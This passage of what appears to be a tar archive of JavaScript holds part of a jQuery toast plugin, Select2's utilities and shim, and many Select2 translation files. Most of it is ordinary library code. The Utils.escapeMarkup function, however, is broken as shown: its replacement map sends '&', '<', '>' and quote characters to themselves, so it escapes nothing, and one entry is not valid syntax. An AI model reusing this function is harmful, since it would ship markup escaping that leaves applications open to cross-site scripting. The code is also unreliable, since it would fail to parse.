if ( this.options.textAlign ) { this._toastEl.css('text-align', this.options.textAlign); } if ( this.options.icon !== false ) { this._toastEl.addClass('jq-has-icon'); if ( $.inArray(this.options.icon, this._defaultIcons) !== -1 ) { this._toastEl.addClass('jq-icon-' + this.options.icon); }; }; if ( this.options.class !== false ){ this._toastEl.addClass(this.options.class) } }, position: function () { if ( ( typeof this.options.position === 'string' ) && ( $.inArray( this.options.position, this._positionClasses) !== -1 ) ) { if ( this.options.position === 'bottom-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, bottom: 20 }); } else if ( this.options.position === 'top-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, top: 20 }); } else if ( this.options.position === 'mid-center' ) { this._container.css({ left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2, top: ( $(window).outerHeight() / 2 ) - this._container.outerHeight()/2 }); } else { this._container.addClass( this.options.position ); } } else if ( typeof this.options.position === 'object' ) { this._container.css({ top : this.options.position.top ? this.options.position.top : 'auto', bottom : this.options.position.bottom ? this.options.position.bottom : 'auto', left : this.options.position.left ? this.options.position.left : 'auto', right : this.options.position.right ? this.options.position.right : 'auto' }); } else { this._container.addClass( 'bottom-left' ); } }, bindToast: function () { var that = this; this._toastEl.on('afterShown', function () { that.processLoader(); }); this._toastEl.find('.close-jq-toast-single').on('click', function ( e ) { e.preventDefault(); if( that.options.showHideTransition === 'fade') { that._toastEl.trigger('beforeHide'); that._toastEl.fadeOut(function () { that._toastEl.trigger('afterHidden'); }); } else if ( that.options.showHideTransition === 'slide' ) { that._toastEl.trigger('beforeHide'); that._toastEl.slideUp(function () { that._toastEl.trigger('afterHidden'); }); } else { that._toastEl.trigger('beforeHide'); that._toastEl.hide(function () { that._toastEl.trigger('afterHidden'); }); } }); if ( typeof this.options.beforeShow == 'function' ) { this._toastEl.on('beforeShow', function () { that.options.beforeShow(); }); }; if ( typeof this.options.afterShown == 'function' ) { this._toastEl.on('afterShown', function () { that.options.afterShown(); }); }; if ( typeof this.options.beforeHide == 'function' ) { this._toastEl.on('beforeHide', function () { that.options.beforeHide(); }); }; if ( typeof this.options.afterHidden == 'function' ) { this._toastEl.on('afterHidden', function () { that.options.afterHidden(); }); }; }, addToDom: function () { var _container = $('.jq-toast-wrap'); if ( _container.length === 0 ) { _container = $('<div></div>',{ class: "jq-toast-wrap" }); $('body').append( _container ); } else if ( !this.options.stack || isNaN( parseInt(this.options.stack, 10) ) ) { _container.empty(); } _container.find('.jq-toast-single:hidden').remove(); _container.append( this._toastEl ); if ( this.options.stack && !isNaN( parseInt( this.options.stack ), 10 ) ) { var _prevToastCount = _container.find('.jq-toast-single').length, _extToastCount = _prevToastCount - this.options.stack; if ( _extToastCount > 0 ) { $('.jq-toast-wrap').find('.jq-toast-single').slice(0, _extToastCount).remove(); }; } this._container = _container; }, canAutoHide: function () { return ( this.options.hideAfter !== false ) && !isNaN( parseInt( this.options.hideAfter, 10 ) ); }, processLoader: function () { // Show the loader only, if auto-hide is on and loader is demanded if (!this.canAutoHide() || this.options.loader === false) { return false; } var loader = this._toastEl.find('.jq-toast-loader'); // 400 is the default time that jquery uses for fade/slide // Divide by 1000 for milliseconds to seconds conversion var transitionTime = (this.options.hideAfter - 400) / 1000 + 's'; var loaderBg = this.options.loaderBg; var style = loader.attr('style') || ''; style = style.substring(0, style.indexOf('-webkit-transition')); // Remove the last transition definition style += '-webkit-transition: width ' + transitionTime + ' ease-in; \ -o-transition: width ' + transitionTime + ' ease-in; \ transition: width ' + transitionTime + ' ease-in; \ background-color: ' + loaderBg + ';'; loader.attr('style', style).addClass('jq-toast-loaded'); }, animate: function () { var that = this; this._toastEl.hide(); this._toastEl.trigger('beforeShow'); if ( this.options.showHideTransition.toLowerCase() === 'fade' ) { this._toastEl.fadeIn(function ( ){ that._toastEl.trigger('afterShown'); }); } else if ( this.options.showHideTransition.toLowerCase() === 'slide' ) { this._toastEl.slideDown(function ( ){ that._toastEl.trigger('afterShown'); }); } else { this._toastEl.show(function ( ){ that._toastEl.trigger('afterShown'); }); } if (this.canAutoHide()) { var that = this; window.setTimeout(function(){ if ( that.options.showHideTransition.toLowerCase() === 'fade' ) { that._toastEl.trigger('beforeHide'); that._toastEl.fadeOut(function () { that._toastEl.trigger('afterHidden'); }); } else if ( that.options.showHideTransition.toLowerCase() === 'slide' ) { that._toastEl.trigger('beforeHide'); that._toastEl.slideUp(function () { that._toastEl.trigger('afterHidden'); }); } else { that._toastEl.trigger('beforeHide'); that._toastEl.hide(function () { that._toastEl.trigger('afterHidden'); }); } }, this.options.hideAfter); }; }, reset: function ( resetWhat ) { if ( resetWhat === 'all' ) { $('.jq-toast-wrap').remove(); } else { this._toastEl.remove(); } }, update: function(options) { this.prepareOptions(options, this.options); this.setup(); this.bindToast(); } }; $.toast = function(options) { var toast = Object.create(Toast); toast.init(options, this); return { reset: function ( what ) { toast.reset( what ); }, update: function( options ) { toast.update( options ); } } }; $.toast.options = { text: '', heading: '', showHideTransition: 'fade', allowToastClose: true, hideAfter: 3000, loader: true, loaderBg: '#9EC600', stack: 5, position: 'bottom-left', bgColor: false, textColor: false, textAlign: 'left', icon: false, beforeShow: function () {}, afterShown: function () {}, beforeHide: function () {}, afterHidden: function () {} }; })( jQuery, window, document ); jquery.shim.js000064400000000563151701463440007371 0ustar00/* global jQuery:false, $:false */ define(function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); banner.end.js000064400000000233151701463440007117 0ustar00 // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); banner.start.js000064400000000411151701463440007504 0ustar00(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } select2/utils.js000064400000021332151701463440007611 0ustar00define([ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Cache objects in Utils.__cache instead of $.data (see #4346) Utils.__cache = {}; var id = 0; Utils.GetUniqueElementId = function (element) { // Get a unique element Id. If element has no id, // creates a new unique number, stores it in the id // attribute and returns the new id. // If an id already exists, it simply returns it. var select2Id = element.getAttribute('data-select2-id'); if (select2Id == null) { // If element has id, use it. if (element.id) { select2Id = element.id; element.setAttribute('data-select2-id', select2Id); } else { element.setAttribute('data-select2-id', ++id); select2Id = id.toString(); } } return select2Id; }; Utils.StoreData = function (element, name, value) { // Stores an item in the cache for a specified element. // name is the cache key. var id = Utils.GetUniqueElementId(element); if (!Utils.__cache[id]) { Utils.__cache[id] = {}; } Utils.__cache[id][name] = value; }; Utils.GetData = function (element, name) { // Retrieves a value from the cache by its key (name) // name is optional. If no name specified, return // all cache items for the specified element. // and for a specified element. var id = Utils.GetUniqueElementId(element); if (name) { if (Utils.__cache[id]) { return Utils.__cache[id][name] != null ? Utils.__cache[id][name]: $(element).data(name); // Fallback to HTML5 data attribs. } return $(element).data(name); // Fallback to HTML5 data attribs. } else { return Utils.__cache[id]; } }; Utils.RemoveData = function (element) { // Removes all cached items for a specified element. var id = Utils.GetUniqueElementId(element); if (Utils.__cache[id] != null) { delete Utils.__cache[id]; } }; return Utils; }); select2/i18n/ms.js000064400000001513151701463440007646 0ustar00define(function () { // Malay return { errorLoading: function () { return 'Keputusan tidak berjaya dimuatkan.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Sila hapuskan ' + overChars + ' aksara'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Sila masukkan ' + remainingChars + ' atau lebih aksara'; }, loadingMore: function () { return 'Sedang memuatkan keputusan…'; }, maximumSelected: function (args) { return 'Anda hanya boleh memilih ' + args.maximum + ' pilihan'; }, noResults: function () { return 'Tiada padanan yang ditemui'; }, searching: function () { return 'Mencari…'; } }; });select2/i18n/tk.js000064400000001611151701463440007644 0ustar00define(function () { // Turkmen return { errorLoading: function (){ return 'Netije ýüklenmedi.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' harp bozuň.'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ýene-de iň az ' + remainingChars + ' harp ýazyň.'; return message; }, loadingMore: function () { return 'Köpräk netije görkezilýär…'; }, maximumSelected: function (args) { var message = 'Diňe ' + args.maximum + ' sanysyny saýlaň.'; return message; }, noResults: function () { return 'Netije tapylmady.'; }, searching: function () { return 'Gözlenýär…'; } }; }); select2/i18n/sr.js000064400000002515151701463440007656 0ustar00define(function () { // Serbian function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Preuzimanje nije uspelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Obrišite ' + overChars + ' simbol'; message += ending(overChars, '', 'a', 'a'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ukucajte bar još ' + remainingChars + ' simbol'; message += ending(remainingChars, '', 'a', 'a'); return message; }, loadingMore: function () { return 'Preuzimanje još rezultata…'; }, maximumSelected: function (args) { var message = 'Možete izabrati samo ' + args.maximum + ' stavk'; message += ending(args.maximum, 'u', 'e', 'i'); return message; }, noResults: function () { return 'Ništa nije pronađeno'; }, searching: function () { return 'Pretraga…'; } }; }); select2/i18n/lv.js000064400000002321151701463440007646 0ustar00define(function () { // Latvian function ending (count, eleven, singular, other) { if (count === 11) { return eleven; } if (count % 10 === 1) { return singular; } return other; } return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Lūdzu ievadiet par ' + overChars; message += ' simbol' + ending(overChars, 'iem', 'u', 'iem'); return message + ' mazāk'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Lūdzu ievadiet vēl ' + remainingChars; message += ' simbol' + ending(remainingChars, 'us', 'u', 'us'); return message; }, loadingMore: function () { return 'Datu ielāde…'; }, maximumSelected: function (args) { var message = 'Jūs varat izvēlēties ne vairāk kā ' + args.maximum; message += ' element' + ending(args.maximum, 'us', 'u', 'us'); return message; }, noResults: function () { return 'Sakritību nav'; }, searching: function () { return 'Meklēšana…'; } }; }); select2/i18n/nb.js000064400000001472151701463440007632 0ustar00define(function () { // Norwegian (Bokmål) return { errorLoading: function () { return 'Kunne ikke hente resultater.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Vennligst fjern ' + overChars + ' tegn'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Vennligst skriv inn ' + remainingChars + ' tegn til'; }, loadingMore: function () { return 'Laster flere resultater…'; }, maximumSelected: function (args) { return 'Du kan velge maks ' + args.maximum + ' elementer'; }, noResults: function () { return 'Ingen treff'; }, searching: function () { return 'Søker…'; } }; }); select2/i18n/sr-Cyrl.js000064400000002721151701463440010564 0ustar00define(function () { // Serbian Cyrilic function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Преузимање није успело.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Обришите ' + overChars + ' симбол'; message += ending(overChars, '', 'а', 'а'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Укуцајте бар још ' + remainingChars + ' симбол'; message += ending(remainingChars, '', 'а', 'а'); return message; }, loadingMore: function () { return 'Преузимање још резултата…'; }, maximumSelected: function (args) { var message = 'Можете изабрати само ' + args.maximum + ' ставк'; message += ending(args.maximum, 'у', 'е', 'и'); return message; }, noResults: function () { return 'Ништа није пронађено'; }, searching: function () { return 'Претрага…'; } }; }); select2/i18n/ar.js000064400000001631151701463440007632 0ustar00define(function () { // Arabic return { errorLoading: function () { return 'لا يمكن تحميل النتائج'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'الرجاء حذف ' + overChars + ' عناصر'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'الرجاء إضافة ' + remainingChars + ' عناصر'; }, loadingMore: function () { return 'جاري تحميل نتائج إضافية...'; }, maximumSelected: function (args) { return 'تستطيع إختيار ' + args.maximum + ' بنود فقط'; }, noResults: function () { return 'لم يتم العثور على أي نتائج'; }, searching: function () { return 'جاري البحث…'; } }; });select2/i18n/et.js000064400000002145151701463440007641 0ustar00define(function () { // Estonian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Sisesta ' + overChars + ' täht'; if (overChars != 1) { message += 'e'; } message += ' vähem'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Sisesta ' + remainingChars + ' täht'; if (remainingChars != 1) { message += 'e'; } message += ' rohkem'; return message; }, loadingMore: function () { return 'Laen tulemusi…'; }, maximumSelected: function (args) { var message = 'Saad vaid ' + args.maximum + ' tulemus'; if (args.maximum == 1) { message += 'e'; } else { message += 't'; } message += ' valida'; return message; }, noResults: function () { return 'Tulemused puuduvad'; }, searching: function () { return 'Otsin…'; } }; }); select2/i18n/ps.js000064400000002420151701463440007647 0ustar00/* jslint maxlen: 87 */ define(function () { // Pashto (پښتو) return { errorLoading: function () { return 'پايلي نه سي ترلاسه کېدای'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'د مهربانۍ لمخي ' + overChars + ' توری ړنګ کړئ'; if (overChars != 1) { message = message.replace('توری', 'توري'); } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'لږ تر لږه ' + remainingChars + ' يا ډېر توري وليکئ'; return message; }, loadingMore: function () { return 'نوري پايلي ترلاسه کيږي...'; }, maximumSelected: function (args) { var message = 'تاسو يوازي ' + args.maximum + ' قلم په نښه کولای سی'; if (args.maximum != 1) { message = message.replace('قلم', 'قلمونه'); } return message; }, noResults: function () { return 'پايلي و نه موندل سوې'; }, searching: function () { return 'لټول کيږي...'; } }; }); select2/i18n/de.js000064400000002007151701463440007616 0ustar00define(function () { // German return { errorLoading: function () { return 'Die Ergebnisse konnten nicht geladen werden.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Bitte ' + overChars + ' Zeichen weniger eingeben'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Bitte ' + remainingChars + ' Zeichen mehr eingeben'; }, loadingMore: function () { return 'Lade mehr Ergebnisse…'; }, maximumSelected: function (args) { var message = 'Sie können nur ' + args.maximum + ' Eintr'; if (args.maximum === 1) { message += 'ag'; } else { message += 'äge'; } message += ' auswählen'; return message; }, noResults: function () { return 'Keine Übereinstimmungen gefunden'; }, searching: function () { return 'Suche…'; } }; }); select2/i18n/fa.js000064400000002246151701463440007621 0ustar00/* jshint -W100 */ /* jslint maxlen: 86 */ define(function () { // Farsi (Persian) return { errorLoading: function () { return 'امکان بارگذاری نتایج وجود ندارد.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'لطفاً ' + overChars + ' کاراکتر را حذف نمایید'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'لطفاً تعداد ' + remainingChars + ' کاراکتر یا بیشتر وارد نمایید'; return message; }, loadingMore: function () { return 'در حال بارگذاری نتایج بیشتر...'; }, maximumSelected: function (args) { var message = 'شما تنها میتوانید ' + args.maximum + ' آیتم را انتخاب نمایید'; return message; }, noResults: function () { return 'هیچ نتیجهای یافت نشد'; }, searching: function () { return 'در حال جستجو...'; } }; }); select2/i18n/cs.js000064400000003266151701463440007643 0ustar00define(function () { // Czech function small (count, masc) { switch(count) { case 2: return masc ? 'dva' : 'dvě'; case 3: return 'tři'; case 4: return 'čtyři'; } return ''; } return { errorLoading: function () { return 'Výsledky nemohly být načteny.'; }, inputTooLong: function (args) { var n = args.input.length - args.maximum; if (n == 1) { return 'Prosím, zadejte o jeden znak méně.'; } else if (n <= 4) { return 'Prosím, zadejte o ' + small(n, true) + ' znaky méně.'; } else { return 'Prosím, zadejte o ' + n + ' znaků méně.'; } }, inputTooShort: function (args) { var n = args.minimum - args.input.length; if (n == 1) { return 'Prosím, zadejte ještě jeden znak.'; } else if (n <= 4) { return 'Prosím, zadejte ještě další ' + small(n, true) + ' znaky.'; } else { return 'Prosím, zadejte ještě dalších ' + n + ' znaků.'; } }, loadingMore: function () { return 'Načítají se další výsledky…'; }, maximumSelected: function (args) { var n = args.maximum; if (n == 1) { return 'Můžete zvolit jen jednu položku.'; } else if (n <= 4) { return 'Můžete zvolit maximálně ' + small(n, false) + ' položky.'; } else { return 'Můžete zvolit maximálně ' + n + ' položek.'; } }, noResults: function () { return 'Nenalezeny žádné položky.'; }, searching: function () { return 'Vyhledávání…'; } }; }); select2/i18n/nl.js000064400000002152151701463440007640 0ustar00define(function () { // Dutch return { errorLoading: function () { return 'De resultaten konden niet worden geladen.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Gelieve ' + overChars + ' karakters te verwijderen'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Gelieve ' + remainingChars + ' of meer karakters in te voeren'; return message; }, loadingMore: function () { return 'Meer resultaten laden…'; }, maximumSelected: function (args) { var verb = args.maximum == 1 ? 'kan' : 'kunnen'; var message = 'Er ' + verb + ' maar ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } message += ' worden geselecteerd'; return message; }, noResults: function () { return 'Geen resultaten gevonden…'; }, searching: function () { return 'Zoeken…'; } }; }); select2/i18n/eu.js000064400000002257151701463440007646 0ustar00define(function () { // Basque return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Idatzi '; if (overChars == 1) { message += 'karaktere bat'; } else { message += overChars + ' karaktere'; } message += ' gutxiago'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Idatzi '; if (remainingChars == 1) { message += 'karaktere bat'; } else { message += remainingChars + ' karaktere'; } message += ' gehiago'; return message; }, loadingMore: function () { return 'Emaitza gehiago kargatzen…'; }, maximumSelected: function (args) { if (args.maximum === 1) { return 'Elementu bakarra hauta dezakezu'; } else { return args.maximum + ' elementu hauta ditzakezu soilik'; } }, noResults: function () { return 'Ez da bat datorrenik aurkitu'; }, searching: function () { return 'Bilatzen…'; } }; }); select2/i18n/hy.js000064400000002205151701463440007646 0ustar00define(function () { // Armenian return { errorLoading: function () { return 'Արդյունքները հնարավոր չէ բեռնել։'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Խնդրում ենք հեռացնել ' + overChars + ' նշան'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Խնդրում ենք մուտքագրել ' + remainingChars + ' կամ ավել նշաններ'; return message; }, loadingMore: function () { return 'Բեռնվում են նոր արդյունքներ․․․'; }, maximumSelected: function (args) { var message = 'Դուք կարող եք ընտրել առավելագույնը ' + args.maximum + ' կետ'; return message; }, noResults: function () { return 'Արդյունքներ չեն գտնվել'; }, searching: function () { return 'Որոնում․․․'; } }; }); select2/i18n/he.js000064400000002514151701463440007625 0ustar00define(function () { // Hebrew return { errorLoading: function () { return 'שגיאה בטעינת התוצאות'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'נא למחוק '; if (overChars === 1) { message += 'תו אחד'; } else { message += overChars + ' תווים'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'נא להכניס '; if (remainingChars === 1) { message += 'תו אחד'; } else { message += remainingChars + ' תווים'; } message += ' או יותר'; return message; }, loadingMore: function () { return 'טוען תוצאות נוספות…'; }, maximumSelected: function (args) { var message = 'באפשרותך לבחור עד '; if (args.maximum === 1) { message += 'פריט אחד'; } else { message += args.maximum + ' פריטים'; } return message; }, noResults: function () { return 'לא נמצאו תוצאות'; }, searching: function () { return 'מחפש…'; } }; }); select2/i18n/ja.js000064400000001722151701463440007623 0ustar00define(function () { // Japanese return { errorLoading: function () { return '結果が読み込まれませんでした'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' 文字を削除してください'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = '少なくとも ' + remainingChars + ' 文字を入力してください'; return message; }, loadingMore: function () { return '読み込み中…'; }, maximumSelected: function (args) { var message = args.maximum + ' 件しか選択できません'; return message; }, noResults: function () { return '対象が見つかりません'; }, searching: function () { return '検索しています…'; } }; }); select2/i18n/fr.js000064400000001773151701463440007646 0ustar00define(function () { // French return { errorLoading: function () { return 'Les résultats ne peuvent pas être chargés.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Supprimez ' + overChars + ' caractère' + ((overChars > 1) ? 's' : ''); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Saisissez au moins ' + remainingChars + ' caractère' + ((remainingChars > 1) ? 's' : ''); }, loadingMore: function () { return 'Chargement de résultats supplémentaires…'; }, maximumSelected: function (args) { return 'Vous pouvez seulement sélectionner ' + args.maximum + ' élément' + ((args.maximum > 1) ? 's' : ''); }, noResults: function () { return 'Aucun résultat trouvé'; }, searching: function () { return 'Recherche en cours…'; } }; }); select2/i18n/is.js000064400000001741151701463440007645 0ustar00define(function () { // Icelandic return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vinsamlegast styttið texta um ' + overChars + ' staf'; if (overChars <= 1) { return message; } return message + 'i'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vinsamlegast skrifið ' + remainingChars + ' staf'; if (remainingChars > 1) { message += 'i'; } message += ' í viðbót'; return message; }, loadingMore: function () { return 'Sæki fleiri niðurstöður…'; }, maximumSelected: function (args) { return 'Þú getur aðeins valið ' + args.maximum + ' atriði'; }, noResults: function () { return 'Ekkert fannst'; }, searching: function () { return 'Leita…'; } }; }); select2/i18n/bg.js000064400000002263151701463440007622 0ustar00define(function () { // Bulgarian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Моля въведете с ' + overChars + ' по-малко символ'; if (overChars > 1) { message += 'a'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Моля въведете още ' + remainingChars + ' символ'; if (remainingChars > 1) { message += 'a'; } return message; }, loadingMore: function () { return 'Зареждат се още…'; }, maximumSelected: function (args) { var message = 'Можете да направите до ' + args.maximum + ' '; if (args.maximum > 1) { message += 'избора'; } else { message += 'избор'; } return message; }, noResults: function () { return 'Няма намерени съвпадения'; }, searching: function () { return 'Търсене…'; } }; }); select2/i18n/bs.js000064400000002517151701463440007640 0ustar00define(function () { // Bosnian function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Preuzimanje nije uspijelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Obrišite ' + overChars + ' simbol'; message += ending(overChars, '', 'a', 'a'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ukucajte bar još ' + remainingChars + ' simbol'; message += ending(remainingChars, '', 'a', 'a'); return message; }, loadingMore: function () { return 'Preuzimanje još rezultata…'; }, maximumSelected: function (args) { var message = 'Možete izabrati samo ' + args.maximum + ' stavk'; message += ending(args.maximum, 'u', 'e', 'i'); return message; }, noResults: function () { return 'Ništa nije pronađeno'; }, searching: function () { return 'Pretraga…'; } }; }); select2/i18n/hsb.js000064400000002714151701463440010007 0ustar00define(function () { // Upper Sorbian var charsWords = ['znamješko', 'znamješce', 'znamješka','znamješkow']; var itemsWords = ['zapisk', 'zapiskaj', 'zapiski','zapiskow']; var pluralWord = function pluralWord(numberOfChars, words) { if (numberOfChars === 1) { return words[0]; } else if (numberOfChars === 2) { return words[1]; } else if (numberOfChars > 2 && numberOfChars <= 4) { return words[2]; } else if (numberOfChars >= 5) { return words[3]; } }; return { errorLoading: function () { return 'Wuslědki njedachu so začitać.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Prošu zhašej ' + overChars + ' ' + pluralWord(overChars, charsWords); }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Prošu zapodaj znajmjeńša ' + remainingChars + ' ' + pluralWord(remainingChars, charsWords); }, loadingMore: function () { return 'Dalše wuslědki so začitaja…'; }, maximumSelected: function (args) { return 'Móžeš jenož ' + args.maximum + ' ' + pluralWord(args.maximum, itemsWords) + 'wubrać'; }, noResults: function () { return 'Žane wuslědki namakane'; }, searching: function () { return 'Pyta so…'; } }; }); select2/i18n/vi.js000064400000001701151701463440007644 0ustar00define(function () { // Vietnamese return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Vui lòng nhập ít hơn ' + overChars + ' ký tự'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Vui lòng nhập nhiều hơn ' + remainingChars + ' ký tự'; return message; }, loadingMore: function () { return 'Đang lấy thêm kết quả…'; }, 